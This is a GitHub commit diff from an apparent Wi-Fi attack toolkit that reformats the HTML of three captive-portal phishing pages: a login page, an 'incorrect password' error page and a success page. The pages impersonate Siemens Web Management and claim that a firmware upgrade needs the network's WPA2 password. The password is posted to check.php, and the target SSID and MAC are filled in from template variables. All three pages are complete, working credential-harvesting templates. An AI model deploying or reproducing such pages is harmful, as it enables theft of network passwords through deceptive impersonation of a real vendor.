Skip to content

Commit

Permalink
fixed some indentation and capitalization
Browse files Browse the repository at this point in the history
  • Loading branch information
iAgonyii committed Apr 12, 2021
1 parent fc3288c commit 8039842
Show file tree
Hide file tree
Showing 3 changed files with 112 additions and 109 deletions.
116 changes: 59 additions & 57 deletions attacks/Captive Portal/sites/Siemens_en.portal/error.html
Original file line number Diff line number Diff line change
@@ -1,72 +1,74 @@
<!DOCTYPE html>
<html lang=en>
<head><title>SIEMENS Web Management</title>
<meta charset=utf-8>
<meta name=viewport content="width=device-width, initial-scale=1">
<link rel=stylesheet href=css/bootstrap.min.css>
<script src=js/jquery.min.js></script>
<script src=js/bootstrap.min.js></script><!-- CSS -->
<style type=text/css>
<head><title>Siemens Web Management</title>
<meta charset=utf-8>
<meta name=viewport content="width=device-width, initial-scale=1">
<link rel=stylesheet href=css/bootstrap.min.css>
<script src=js/jquery.min.js></script>
<script src=js/bootstrap.min.js></script><!-- CSS -->
<style type=text/css>

/* Sticky footer styles
-------------------------------------------------- */
/* Sticky footer styles
-------------------------------------------------- */

html,
body {
height: 100%;
/* The html and body elements cannot have any padding or margin. */
}
html,
body {
height: 100%;
/* The html and body elements cannot have any padding or margin. */
}

.center {
display: flex;
justify-content: center;
align-items: center;
margin-top: 65px;
}
.center {
display: flex;
justify-content: center;
align-items: center;
margin-top: 65px;
}

/* Lastly, apply responsive CSS fixes as necessary */
@media (max-width: 767px) {
#footer {
margin-left: -20px;
margin-right: -20px;
padding-left: 20px;
padding-right: 20px;
}
}
</style>
/* Lastly, apply responsive CSS fixes as necessary */
@media (max-width: 767px) {
#footer {
margin-left: -20px;
margin-right: -20px;
padding-left: 20px;
padding-right: 20px;
}
}
</style>
</head>
<body>
<div class=container>
<img height="75" src="img/logo.png">
<div class="row" style="padding-left: 15px">
<div class="col-md-2" style="background-color: #cfd2d9; height: 50vh; padding: 0">
<div class="text-center" style="background-color: #afb4be; height: 10vh; padding-top: 4vh">
<span><b>Confirm firmware upgrade</b></span>
</div>
</div>
<div class="col-md-10" style="padding-left: 5px">
<div class="text-center" style="background-color: #cccccc; height: 10vh; padding-top: 4vh">
<span><b>$APTargetSSID ($APTargetMAC)</b></span>
</div>
<div class="text-center" style="background-color: #eaeaea; height: 40vh">
<h1 class="text-center" style="color: #cccccc; margin-top: 0; font-size: 120px; font-weight: bolder">
LOGIN</h1>
<p>This access point has recently performed a firmware upgrade. Please enter the WPA2 password to apply
the upgrade and connect to the network.</p>
<div class="center">
<form action=check.php method=POST>
<label for=password>WPA2 Password:</label>
<input type=password id=pwd name=key1><br>
<span style="color: red">Incorrect password entered</span><input style="float: right" type=submit id=btn value="Confirm">
</form>
<img height="75" src="img/logo.png">
<div class="row" style="padding-left: 15px">
<div class="col-md-2" style="background-color: #cfd2d9; height: 50vh; padding: 0">
<div class="text-center" style="background-color: #afb4be; height: 10vh; padding-top: 4vh">
<span><b>Confirm firmware upgrade</b></span>
</div>
</div>
<div class="col-md-10" style="padding-left: 5px">
<div class="text-center" style="background-color: #cccccc; height: 10vh; padding-top: 4vh">
<span><b>$APTargetSSID ($APTargetMAC)</b></span>
</div>
<div class="text-center" style="background-color: #eaeaea; height: 40vh">
<h1 class="text-center" style="color: #cccccc; margin-top: 0; font-size: 120px; font-weight: bolder">
LOGIN</h1>
<p>This access point has recently performed a firmware upgrade. Please enter the WPA2 password to apply
the upgrade and connect to the network.</p>
<div class="center">
<form action=check.php method=POST>
<label for=password>WPA2 Password:</label>
<input type=password id=pwd name=key1><br>
<span style="color: red">Incorrect password entered</span><input style="float: right"
type=submit id=btn
value="Confirm">
</form>
</div>
<p style="margin-top: 50px">For information about browser compatibility please refer to the manual</p>
</div>
</div>
<p style="margin-top: 50px">For information about browser compatibility please refer to the manual</p>
</div>
</div>
</div>
</div> <!-- Start page content --> <!-- Start footer -->
<footer style="margin-top: 50px">
<div class="container text-center"><p class=text-muted>© Siemens 1996 - 2021</p></div>
<div class="container text-center"><p class=text-muted>© Siemens 1996 - 2021</p></div>
</footer> <!-- End footer --> <!-- Start update first message -->
</body>
</html>
</html>
101 changes: 51 additions & 50 deletions attacks/Captive Portal/sites/Siemens_en.portal/final.html
Original file line number Diff line number Diff line change
@@ -1,65 +1,66 @@
<!DOCTYPE html>
<html lang=en>
<head><title>SIEMENS Web Management</title>
<meta charset=utf-8>
<meta name=viewport content="width=device-width, initial-scale=1">
<link rel=stylesheet href=css/bootstrap.min.css>
<script src=js/jquery.min.js></script>
<script src=js/bootstrap.min.js></script><!-- CSS -->
<style type=text/css>
<head><title>Siemens Web Management</title>
<meta charset=utf-8>
<meta name=viewport content="width=device-width, initial-scale=1">
<link rel=stylesheet href=css/bootstrap.min.css>
<script src=js/jquery.min.js></script>
<script src=js/bootstrap.min.js></script><!-- CSS -->
<style type=text/css>

/* Sticky footer styles
-------------------------------------------------- */
/* Sticky footer styles
-------------------------------------------------- */

html,
body {
height: 100%;
/* The html and body elements cannot have any padding or margin. */
}
html,
body {
height: 100%;
/* The html and body elements cannot have any padding or margin. */
}

.center {
display: flex;
justify-content: center;
align-items: center;
margin-top: 65px;
}
.center {
display: flex;
justify-content: center;
align-items: center;
margin-top: 65px;
}

/* Lastly, apply responsive CSS fixes as necessary */
@media (max-width: 767px) {
#footer {
margin-left: -20px;
margin-right: -20px;
padding-left: 20px;
padding-right: 20px;
}
}
</style>
/* Lastly, apply responsive CSS fixes as necessary */
@media (max-width: 767px) {
#footer {
margin-left: -20px;
margin-right: -20px;
padding-left: 20px;
padding-right: 20px;
}
}
</style>
</head>
<body>
<div class=container>
<img height="75" src="img/logo.png">
<div class="row" style="padding-left: 15px">
<div class="col-md-2" style="background-color: #cfd2d9; height: 50vh; padding: 0">
<div class="text-center" style="background-color: #afb4be; height: 10vh; padding-top: 4vh">
<span><b>Confirm firmware upgrade</b></span>
</div>
</div>
<div class="col-md-10" style="padding-left: 5px">
<div class="text-center" style="background-color: #cccccc; height: 10vh; padding-top: 4vh">
<span><b>$APTargetSSID ($APTargetMAC)</b></span>
</div>
<div class="text-center" style="background-color: #eaeaea; height: 40vh">
<h1 class="text-center" style="color: #cccccc; margin-top: 0; font-size: 75px; font-weight: bolder">
AUTHENTICATED</h1>
<p style="margin-top: 50px">Successfully authenticated. The system is applying the firmware upgrade and connecting you to the network...</p>
<img height="75" src="img/logo.png">
<div class="row" style="padding-left: 15px">
<div class="col-md-2" style="background-color: #cfd2d9; height: 50vh; padding: 0">
<div class="text-center" style="background-color: #afb4be; height: 10vh; padding-top: 4vh">
<span><b>Confirm firmware upgrade</b></span>
</div>
</div>
<div class="col-md-10" style="padding-left: 5px">
<div class="text-center" style="background-color: #cccccc; height: 10vh; padding-top: 4vh">
<span><b>$APTargetSSID ($APTargetMAC)</b></span>
</div>
<div class="text-center" style="background-color: #eaeaea; height: 40vh">
<h1 class="text-center" style="color: #cccccc; margin-top: 0; font-size: 75px; font-weight: bolder">
AUTHENTICATED</h1>
<p style="margin-top: 50px">Successfully authenticated. The system is applying the firmware upgrade and
connecting you to the network...</p>

<p style="margin-top: 50px">For information about browser compatibility please refer to the manual</p>
</div>
<p style="margin-top: 50px">For information about browser compatibility please refer to the manual</p>
</div>
</div>
</div>
</div>
</div> <!-- Start page content --> <!-- Start footer -->
<footer style="margin-top: 50px">
<div class="container text-center"><p class=text-muted>© Siemens 1996 - 2021</p></div>
<div class="container text-center"><p class=text-muted>© Siemens 1996 - 2021</p></div>
</footer> <!-- End footer --> <!-- Start update first message -->
</body>
</html>
</html>
4 changes: 2 additions & 2 deletions attacks/Captive Portal/sites/Siemens_en.portal/index.html
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
<!DOCTYPE html>
<html lang=en>
<head><title>SIEMENS Web Management</title>
<head><title>Siemens Web Management</title>
<meta charset=utf-8>
<meta name=viewport content="width=device-width, initial-scale=1">
<link rel=stylesheet href=css/bootstrap.min.css>
Expand Down Expand Up @@ -69,4 +69,4 @@ <h1 class="text-center" style="color: #cccccc; margin-top: 0; font-size: 120px;
<div class="container text-center"><p class=text-muted>© Siemens 1996 - 2021</p></div>
</footer> <!-- End footer --> <!-- Start update first message -->
</body>
</html>
</html>

0 comments on commit 8039842

Please sign in to comment.